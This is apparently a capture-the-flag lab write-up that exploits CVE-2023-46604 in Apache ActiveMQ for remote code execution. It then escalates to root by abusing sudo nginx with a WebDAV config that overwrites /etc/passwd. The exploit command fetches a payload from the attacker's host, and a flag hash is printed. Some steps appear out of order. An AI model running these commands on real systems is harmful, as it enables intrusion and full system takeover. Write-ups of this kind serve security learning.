Apache ActiveMQ

Computer program

Apache ActiveMQ is an open source message broker written in Java together with a full Java Message Service client. It provides "Enterprise Features" which in this case means fostering the communication from more than one client or server. [Wikipedia](#)

Programming language: [Java](#)

Developer: [Apache Software Foundation](#)

License: [Apache License 2.0](#)

Stable release: 6.0.0 / 14 November 2023; 3 days ago

Vulnerability Assessment

1) The version of activeMQ is vulnerable

```
Affected versions:
- Apache ActiveMQ 5.18.0 before 5.18.3
- Apache ActiveMQ 5.17.0 before 5.17.6
- Apache ActiveMQ 5.16.0 before 5.16.7
- Apache ActiveMQ before 5.15.16
- Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
- Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
- Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
- Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

Description:
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath.

Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

This issue is being tracked as AMQ-9370

CVE-2023-46604

This repository contains an exploit script and a Proof of Concept (PoC) XML file for the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The vulnerability allows for remote code execution due to unsafe deserialization practices within the OpenWire protocol.

Exploitation

1) Exploited the vulnerability and got the shell

```
(vigneswar@VigneswarPC)-[~/Exploits/CVE-2023-46604]
$ python3 exploit.py -i 10.10.11.243 -p 61616 -u http://10.10.16.3/poc.xml

      _   _          _   _         _   _       _   _ 
     / \   \        / \   \       / \   \     / \   \
    /___\ ___\      /___\ ___\    /___\ ___\ /___\ ___\
   /_____/_____\    /_____/_____\ /_____/_____\ /_____/_____\

```

2) Got user flag

```
activemq@broker:~$ cat user.txt
9133986fee2fe376137e0731e049977b
activemq@broker:~$ |
```

Privilege Escalation

1) Checked sudo permissions

```
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin\: /snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:~$ |
```

2) Researched nginx configs

```
activemq@broker:~$ nginx -h
nginx version: nginx/1.18.0 (Ubuntu)
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]

Options:
  -?, -h      : this help
  -v          : show version and exit
  -V          : show version and configure options then exit
  -t          : test configuration and exit
  -T          : test configuration, dump it and exit
  -q          : suppress non-error messages during configuration testing
  -s signal   : send signal to a master process: stop, quit, reopen, reload
  -p prefix   : set prefix path (default: /usr/share/nginx/)
  -c filename : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file
```

nginx consists of modules which are controlled by directives specified in the configuration file. Directives are divided into simple directives and block directives. A simple directive consists of the name and parameters separated by spaces and ends with a semicolon (;). A block directive has the same structure as a simple directive, but instead of the semicolon it ends with a set of additional instructions surrounded by braces ({ and }). If a block directive can have other directives inside braces, it is called a context (examples: [events](#), [http](#), [server](#), and [location](#)).

... , , , ,

The `ngx_http_dav_module` module is intended for file management automation via the WebDAV protocol. The module processes HTTP and WebDAV methods PUT, DELETE, MKCOL, COPY, and MOVE.

This module is not built by default, it should be enabled with the `--with-http_dav_module` configuration parameter.

WebDAV clients that require additional WebDAV methods to operate will not work with this module.

Example Configuration

```
location / {
    root                /data/www;

    client_body_temp_path /data/client_temp;

    dav_methods PUT DELETE MKCOL COPY MOVE;

    create_full_put_path on;
    dav_access          group:rw all:r;

    limit_except GET {
        allow 192.168.1.0/32;
        deny  all;
    }
}
```

3) Used it to upload passwd file to remove password for root

```
activemq@broker:~$ cat root.conf
user root;

events {
    worker_connections 4096;
}

http {
    server {
        listen 8080;
        root /;

        location /{
            dav_methods PUT;
            create_full_put_path on;
            allow all;
        }
    }
}

activemq@broker:~$ sudo nginx -c /home/activemq/root.conf
activemq@broker:~$ su root
root@broker:/home/activemq# |

(vigneswar@VigneswarPC)~$ cat passwd | grep root
root::0:0:root:/root:/bin/bash

(vigneswar@VigneswarPC)~$ curl -X PUT http://10.10.11.243:8080/etc/passwd -T passwd

(vigneswar@VigneswarPC)~$
```
